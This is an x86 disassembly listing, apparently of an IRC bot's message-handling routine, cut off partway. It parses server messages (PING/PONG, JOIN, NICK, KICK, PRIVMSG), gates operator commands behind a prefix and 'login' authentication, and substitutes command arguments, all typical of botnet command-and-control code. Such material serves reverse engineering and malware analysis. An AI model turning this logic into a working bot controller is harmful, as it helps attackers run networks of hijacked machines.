var_3158 = dword ptr -3158h
var_3154 = dword ptr -3154h
var_3150 = byte ptr -3150h
var_2EC9 = byte ptr -2EC9h
var_2EC8 = byte ptr -2EC8h
var_2DC4 = dword ptr -2DC4h
var_2DBC = dword ptr -2DBCh
var_2DB8 = dword ptr -2DB8h
var_2DB4 = dword ptr -2DB4h
var_2DB0 = dword ptr -2DB0h
var_2DA8 = dword ptr -2DA8h
var_2DA4 = dword ptr -2DA4h
var_2DA0 = byte ptr -2DA0h
var_2D20 = byte ptr -2D20h
var_2CA0 = byte ptr -2CA0h
var_2C20 = byte ptr -2C20h
var_2BA0 = dword ptr -2BA0h
var_2B9C = dword ptr -2B9Ch
var_2B98 = dword ptr -2B98h
var_2B94 = dword ptr -2B94h
var_2B90 = dword ptr -2B90h
var_2B8C = byte ptr -2B8Ch
var_2B0C = byte ptr -2B0Ch
var_2A8C = byte ptr -2A8Ch
var_2A0C = byte ptr -2A0Ch
var_298C = dword ptr -298Ch
var_2988 = dword ptr -2988h
var_2984 = dword ptr -2984h
var_2980 = dword ptr -2980h
var_297C = dword ptr -297Ch
var_2978 = byte ptr -2978h
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_27F8 = byte ptr -27F8h
var_2778 = dword ptr -2778h
var_2774 = dword ptr -2774h
var_2770 = dword ptr -2770h
var_276C = dword ptr -276Ch
var_2768 = dword ptr -2768h
var_2764 = byte ptr -2764h
var_26E4 = byte ptr -26E4h
var_2664 = byte ptr -2664h
var_25E4 = byte ptr -25E4h
var_2564 = dword ptr -2564h
var_2560 = dword ptr -2560h
var_255C = dword ptr -255Ch
var_2558 = dword ptr -2558h
var_2554 = dword ptr -2554h
var_2550 = byte ptr -2550h
var_244C = byte ptr -244Ch
var_2348 = dword ptr -2348h
var_2344 = dword ptr -2344h
var_2340 = dword ptr -2340h
var_233C = byte ptr -233Ch
var_22BC = dword ptr -22BCh
var_22B8 = dword ptr -22B8h
var_22B4 = dword ptr -22B4h
var_22B0 = byte ptr -22B0h
var_21AC = dword ptr -21ACh
var_21A8 = byte ptr -21A8h
var_2128 = byte ptr -2128h
var_2028 = byte ptr -2028h
var_1F28 = dword ptr -1F28h
var_1F24 = dword ptr -1F24h
var_1F20 = dword ptr -1F20h
var_1F1C = dword ptr -1F1Ch
var_1F18 = dword ptr -1F18h
var_1F14 = dword ptr -1F14h
var_1F10 = dword ptr -1F10h
var_1F0C = dword ptr -1F0Ch
var_1F08 = dword ptr -1F08h
var_1F04 = dword ptr -1F04h
var_1F00 = byte ptr -1F00h
var_1E80 = byte ptr -1E80h
var_1D80 = byte ptr -1D80h
var_1C80 = dword ptr -1C80h
var_1C7C = dword ptr -1C7Ch
var_1C78 = dword ptr -1C78h
var_1C74 = dword ptr -1C74h
var_1C70 = dword ptr -1C70h
var_1C6C = dword ptr -1C6Ch
var_1C68 = dword ptr -1C68h
var_1C64 = dword ptr -1C64h
var_1C60 = dword ptr -1C60h
var_1C5C = dword ptr -1C5Ch
var_1C58 = byte ptr -1C58h
var_1BD8 = byte ptr -1BD8h
var_1B58 = byte ptr -1B58h
var_1AD8 = dword ptr -1AD8h
var_1AD4 = dword ptr -1AD4h
var_1AD0 = dword ptr -1AD0h
var_1ACC = dword ptr -1ACCh
var_1AC8 = dword ptr -1AC8h
var_1AC4 = byte ptr -1AC4h
var_1A44 = byte ptr -1A44h
var_19C4 = byte ptr -19C4h
var_1944 = dword ptr -1944h
var_1940 = dword ptr -1940h
var_193C = dword ptr -193Ch
var_1938 = dword ptr -1938h
var_1934 = dword ptr -1934h
var_1930 = byte ptr -1930h
var_1830 = byte ptr -1830h
var_17B0 = dword ptr -17B0h
var_17A8 = dword ptr -17A8h
var_17A4 = dword ptr -17A4h
var_17A0 = dword ptr -17A0h
var_179C = dword ptr -179Ch
var_1798 = dword ptr -1798h
var_1794 = dword ptr -1794h
var_1790 = byte ptr -1790h
var_1710 = byte ptr -1710h
var_16D0 = byte ptr -16D0h
var_15D0 = dword ptr -15D0h
var_15CC = dword ptr -15CCh
var_15C0 = dword ptr -15C0h
var_15BC = dword ptr -15BCh
var_15B8 = dword ptr -15B8h
var_15B4 = byte ptr -15B4h
var_157C = byte ptr -157Ch
var_1560 = byte ptr -1560h
var_1528 = byte ptr -1528h
var_1524 = byte ptr -1524h
var_14A4 = byte ptr -14A4h
var_1464 = byte ptr -1464h
var_13D4 = dword ptr -13D4h
var_13D0 = dword ptr -13D0h
var_13CC = dword ptr -13CCh
var_13C8 = dword ptr -13C8h
var_13C4 = dword ptr -13C4h
var_13C0 = byte ptr -13C0h
var_1340 = byte ptr -1340h
var_12C0 = dword ptr -12C0h
var_12BC = dword ptr -12BCh
var_12B8 = dword ptr -12B8h
var_12B4 = dword ptr -12B4h
var_12B0 = byte ptr -12B0h
var_12A0 = byte ptr -12A0h
var_1220 = byte ptr -1220h
var_11A0 = dword ptr -11A0h
var_1198 = dword ptr -1198h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_1180 = byte ptr -1180h
var_1100 = byte ptr -1100h
var_1080 = byte ptr -1080h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = dword ptr -0FE8h
var_FE4 = dword ptr -0FE4h
var_FDC = byte ptr -0FDCh
var_F5C = byte ptr -0F5Ch
var_EDC = dword ptr -0EDCh
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EBC = dword ptr -0EBCh
var_EB8 = byte ptr -0EB8h
var_E38 = byte ptr -0E38h
var_DB8 = dword ptr -0DB8h
var_DB4 = dword ptr -0DB4h
var_DB0 = dword ptr -0DB0h
var_DA8 = dword ptr -0DA8h
var_DA4 = dword ptr -0DA4h
var_DA0 = dword ptr -0DA0h
var_D9C = dword ptr -0D9Ch
var_D98 = dword ptr -0D98h
var_D94 = byte ptr -0D94h
var_D14 = dword ptr -0D14h
var_D10 = dword ptr -0D10h
var_D0C = dword ptr -0D0Ch
var_D08 = dword ptr -0D08h
var_D04 = byte ptr -0D04h
var_C84 = byte ptr -0C84h
var_C74 = byte ptr -0C74h
var_C54 = dword ptr -0C54h
var_C50 = byte ptr -0C50h
var_BD0 = byte ptr -0BD0h
var_B50 = dword ptr -0B50h
var_B4C = dword ptr -0B4Ch
var_B48 = dword ptr -0B48h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 4AE8h
call sub_41BC60
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
mov [ebp+var_A4], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C4], ebx
call sub_41B190
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B1F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40207C
push esi
lea eax, [ebp+var_39E8]
push ebx
push eax
call sub_41B190
dec esi
lea eax, [ebp+var_39E8]
push esi
push [ebp+arg_0]
push eax
call sub_41B1F0
lea eax, [ebp+var_39E8]
push offset asc_441584 ; " :"
push eax
call sub_41B890
mov [ebp+var_C], eax
lea eax, [ebp+var_39E8]
push esi
push eax
lea eax, [ebp+var_3E4C]
push eax
call sub_41B1F0
lea eax, [ebp+var_3E4C]
push offset asc_441588 ; " "
push eax
call sub_41C550
add esp, 34h
mov [ebp+var_90], eax
lea esi, [ebp+var_8C]
push 1Fh
pop edi
loc_401D8C: ; CODE XREF: sub_401CC1+DEj
push offset asc_44158C ; " "
push ebx
call sub_41C550
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_401D8C
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_40207C
cmp [ebp+var_8C], ebx
jz loc_40207C
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401DD9: ; CODE XREF: sub_401CC1+14Aj
mov eax, [ecx]
cmp eax, ebx
jz short loc_401E05
cmp byte ptr [eax], 2Dh
jnz short loc_401E0D
cmp [eax+2], bl
jnz short loc_401E0D
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401E05: ; CODE XREF: sub_401CC1+11Cj
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401DD9
loc_401E0D: ; CODE XREF: sub_401CC1+121j
; sub_401CC1+126j
cmp [ebp+var_8ED], bl
jz short loc_401E18
mov [ebp+var_8], edi
loc_401E18: ; CODE XREF: sub_401CC1+152j
cmp [ebp+var_8F2], bl
jz short loc_401E26
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401E26: ; CODE XREF: sub_401CC1+15Dj
cmp byte ptr [esi], 0Ah
jz short loc_401E60
push 7Fh
lea eax, [ebp+var_D04]
push esi
push eax
call sub_41B1F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_41B1F0
lea eax, [ebp+var_C0]
push offset asc_441590 ; "!"
push eax
call sub_41C550
add esp, 20h
loc_401E60: ; CODE XREF: sub_401CC1+168j
push esi
push offset aPing ; "PING"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_401EB1
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_408E73
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401F55
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_408E73
add esp, 10h
jmp loc_401F55
; ---------------------------------------------------------------------------
loc_401EB1: ; CODE XREF: sub_401CC1+1AEj
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408E2D
push esi
push offset a005 ; "005"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408E2D
push esi
push offset a302 ; "302"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F1C
push offset a@_5 ; "@"
push [ebp+var_84]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401F55
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B1F0
add esp, 0Ch
jmp short loc_401F55
; ---------------------------------------------------------------------------
loc_401F1C: ; CODE XREF: sub_401CC1+22Fj
push esi
push offset a433_0 ; "433"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5C
push ebx
push dword_43A0A0
push dword_43A09C
push [ebp+arg_10]
call sub_40A4F6
push [ebp+arg_10]
push offset aNickS_9 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_408E73
add esp, 1Ch
loc_401F55: ; CODE XREF: sub_401CC1+1CFj
; sub_401CC1+1EBj ...
mov eax, edi
jmp loc_40207F
; ---------------------------------------------------------------------------
loc_401F5C: ; CODE XREF: sub_401CC1+26Aj
mov esi, [ebp+arg_18]
mov [ebp+var_2C8], 3
mov edi, 80h
loc_401F6E: ; CODE XREF: sub_401CC1+2D2j
lea eax, [ebp+var_D04]
push eax
push esi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F8B
mov [ebp+var_A8], 1
loc_401F8B: ; CODE XREF: sub_401CC1+2BEj
add esi, edi
dec [ebp+var_2C8]
jnz short loc_401F6E
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_402084
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401FBA: ; CODE XREF: sub_401CC1+386j
cmp [esi], bl
jz loc_402042
push 7Fh
lea eax, [ebp+var_D04]
push esi
push eax
call sub_41B1F0
lea eax, [ebp+var_C0]
add esp, 0Ch
test eax, eax
jz short loc_402042
cmp [ebp+var_84], ebx
jz short loc_402042
push [ebp+var_84]
lea eax, [ebp+var_C0]
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402042
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2C0]
push offset unk_441610
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_408E73
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
add esp, 20h
loc_402042: ; CODE XREF: sub_401CC1+2FBj
; sub_401CC1+31Bj ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401FBA
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40207C
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_402071: ; CODE XREF: sub_401CC1+607j
; sub_401CC1+837j ...
push [ebp+arg_4]
call sub_408E73
loc_402079: ; CODE XREF: sub_401CC1+2070j
; sub_401CC1+208Dj ...
add esp, 10h
loc_40207C: ; CODE XREF: sub_401CC1+5Bj
; sub_401CC1+E8j ...
push 1
loc_40207E: ; CODE XREF: sub_401CC1+25D4j
pop eax
loc_40207F: ; CODE XREF: sub_401CC1+296j
; sub_401CC1+25F6j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_402084: ; CODE XREF: sub_401CC1+2E9j
push esi
push offset aNick ; "NICK"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_4021DA
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_4020AD: ; CODE XREF: sub_401CC1+43Ej
lea eax, [ebp+var_D04]
push eax
push esi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_4020FA
lea eax, [ebp+var_D04]
push 21h
push eax
call sub_41C400
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_4020FA
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C300
push [ebp+arg_1C]
push edi
call sub_41C310
add esp, 10h
mov edi, 80h
loc_4020FA: ; CODE XREF: sub_401CC1+3FDj
; sub_401CC1+414j
add esi, edi
dec [ebp+arg_0]
jnz short loc_4020AD
lea eax, [ebp+var_C0]
test eax, eax
jz loc_40207C
cmp [ebp+arg_24], ebx
jz loc_40207C
push [ebp+arg_10]
lea eax, [ebp+var_C0]
loc_402121: ; DATA XREF: .nsp0:off_440568o
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402142
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B1F0
loc_40213A: ; CODE XREF: sub_401CC1+184Cj
add esp, 0Ch
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_402142: ; CODE XREF: sub_401CC1+46Aj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402147: ; CODE XREF: sub_401CC1+4A7j
cmp [edi], bl
jz short loc_40215E
lea eax, [ebp+var_D04]
push eax
push edi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_40216F
loc_40215E: ; CODE XREF: sub_401CC1+488j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402147
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_40216F: ; CODE XREF: sub_401CC1+49Bj
lea eax, [ebp+var_D04]
push 21h
push eax
call sub_41C400
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40207C
push eax
call sub_418D00
push [ebp+arg_24]
mov edi, eax
call sub_418D00
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40207C
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B740
push ebx
lea eax, [ebp+var_3A4C]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_408EB9
add esp, 24h
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4021DA: ; CODE XREF: sub_401CC1+3D2j
push esi
push offset aPart ; "PART"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_4021FC
push esi
push offset aQuit ; "QUIT"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402229
loc_4021FC: ; CODE XREF: sub_401CC1+528j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402201: ; CODE XREF: sub_401CC1+560j
cmp [edi], bl
jz short loc_402217
push [ebp+var_90]
push edi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_40226C
loc_402217: ; CODE XREF: sub_401CC1+542j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402201
mov esi, [ebp+var_8C]
loc_402229: ; CODE XREF: sub_401CC1+539j
push esi
push offset a353 ; "353"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_4022CD
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402258
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402258: ; CODE XREF: sub_401CC1+58Cj
push [ebp+var_80]
push offset unk_4416B0
loc_402260: ; CODE XREF: sub_401CC1+2406j
; sub_401CC1+27A7j ...
call sub_4145FE
pop ecx
loc_402266: ; CODE XREF: sub_401CC1+6DF3j
pop ecx
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_40226C: ; CODE XREF: sub_401CC1+554j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push offset unk_441670
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push [ebp+var_8C]
push offset aPart_0 ; "PART"
call sub_41C4C0
add esp, 18h
test eax, eax
jnz loc_40207C
lea eax, [ebp+var_2C0]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_402071
; ---------------------------------------------------------------------------
loc_4022CD: ; CODE XREF: sub_401CC1+577j
push esi
push offset aPrivmsg ; "PRIVMSG"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_402310
push esi
push offset aNotice ; "NOTICE"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_402310
push esi
push offset a332 ; "332"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_408CA1
cmp dword_43A088, ebx
jz loc_408CA1
loc_402310: ; CODE XREF: sub_401CC1+61Bj
; sub_401CC1+62Cj
push esi
push offset aPrivmsg_0 ; "PRIVMSG"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40241A
push esi
push offset aNotice_0 ; "NOTICE"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40241A
mov eax, [ebp+var_84]
inc [ebp+var_80]
mov [ebp+var_A4], 4
mov [ebp+var_88], eax
loc_402353: ; CODE XREF: sub_401CC1+815j
; sub_401CC1+84Bj ...
mov eax, [ebp+var_A4]
mov esi, eax
shl esi, 2
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
lea edi, [ecx+1]
mov [eax], edi
mov al, [ecx]
cmp al, byte_43A094
mov [ebp+arg_C], edi
jnz loc_40207C
push edi
push offset aLogin ; "login"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408CA9
push edi
push offset aHi ; "hi"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408CA9
cmp [ebp+var_A8], ebx
jnz short loc_4023CE
push [ebp+var_8C]
push offset a332_3 ; "332"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_408CA1
loc_4023CE: ; CODE XREF: sub_401CC1+6F1j
cmp [ebp+arg_28], ebx
jnz loc_408CA1
cmp dword_43C6A4, ebx
mov [ebp+arg_8], ebx
jle loc_4026B0
mov [ebp+arg_20], offset dword_452A48
loc_4023ED: ; CODE XREF: sub_401CC1+752j
push edi
push [ebp+arg_20]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_402539
inc [ebp+arg_8]
add [ebp+arg_20], 0B8h
mov eax, [ebp+arg_8]
cmp eax, dword_43C6A4
jl short loc_4023ED
jmp loc_4026B0
; ---------------------------------------------------------------------------
loc_40241A: ; CODE XREF: sub_401CC1+65Ej
; sub_401CC1+673j
push esi
push offset aNotice_1 ; "NOTICE"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402432
mov [ebp+var_4], 1
loc_402432: ; CODE XREF: sub_401CC1+768j
mov edi, [ebp+var_88]
cmp edi, ebx
jz loc_40207C
push offset asc_4416FC ; "#"
push edi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_402456
cmp [ebp+var_4], ebx
jz short loc_402462
loc_402456: ; CODE XREF: sub_401CC1+78Ej
lea edi, [ebp+var_C0]
mov [ebp+var_88], edi
loc_402462: ; CODE XREF: sub_401CC1+793j
cmp [ebp+var_84], ebx
jz loc_40207C
inc [ebp+var_84]
jz short loc_4024AC
cmp [ebp+arg_10], ebx
jz short loc_4024AC
lea eax, [ebp+var_338]
push eax
call sub_418D00
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C2C0
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A4], eax
jmp short loc_4024B2
; ---------------------------------------------------------------------------
loc_4024AC: ; CODE XREF: sub_401CC1+7B3j
; sub_401CC1+7B8j
mov eax, [ebp+var_A4]
loc_4024B2: ; CODE XREF: sub_401CC1+7E9j
shl eax, 2
mov [ebp+arg_8], eax
mov esi, [ebp+eax+var_90]
cmp esi, ebx
jz loc_40207C
push esi
push offset dword_441700
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_402353
cmp byte ptr [edi], 23h
jz short loc_4024FD
mov eax, dword_4E074C
mov eax, off_43A158[eax*4]
cmp [eax], bl
jz short loc_4024FD
push eax
push edi
push offset dword_44170C
jmp loc_402071
; ---------------------------------------------------------------------------
loc_4024FD: ; CODE XREF: sub_401CC1+81Ej
; sub_401CC1+82Ej
push esi
push offset dword_441728
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_402353
mov eax, [ebp+arg_8]
mov eax, [ebp+eax+var_8C]
cmp eax, ebx
jz loc_402353
cmp byte ptr [edi], 23h
jz loc_402353
push eax
push edi
push offset dword_441730
jmp loc_402071
; ---------------------------------------------------------------------------
loc_402539: ; CODE XREF: sub_401CC1+739j
push offset asc_4418A0 ; " :"
push [ebp+arg_0]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz loc_40207C
mov edi, [ebp+arg_8]
mov cl, byte_43A094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_43A094
mov [eax+3], cl
lea ecx, dword_452A60[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B1F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
loc_402591: ; CODE XREF: sub_401CC1+981j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41B740
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B890
add esp, 14h
test eax, eax
jz short loc_4025FD
mov eax, [ebp+arg_20]
cmp [eax], ebx
jz short loc_4025FD
lea eax, dword_452A48[edi]
push eax
call sub_418D00
add [ebp+var_C], eax
pop ecx
jz short loc_402638
mov eax, [ebp+arg_20]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B890
pop ecx
cmp eax, ebx
pop ecx
jz short loc_402638
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_415C6E
add esp, 0Ch
jmp short loc_402638
; ---------------------------------------------------------------------------
loc_4025FD: ; CODE XREF: sub_401CC1+8F8j
; sub_401CC1+8FFj
mov eax, [ebp+arg_20]
cmp [eax], ebx
jnz short loc_402638
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B1F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_415C6E
add esp, 18h
loc_402638: ; CODE XREF: sub_401CC1+911j
; sub_401CC1+925j ...
dec [ebp+arg_8]
sub [ebp+arg_20], 4
cmp [ebp+arg_8], ebx
jg loc_402591
lea eax, [ebp+esi+var_50]
mov [ebp+arg_8], 10h
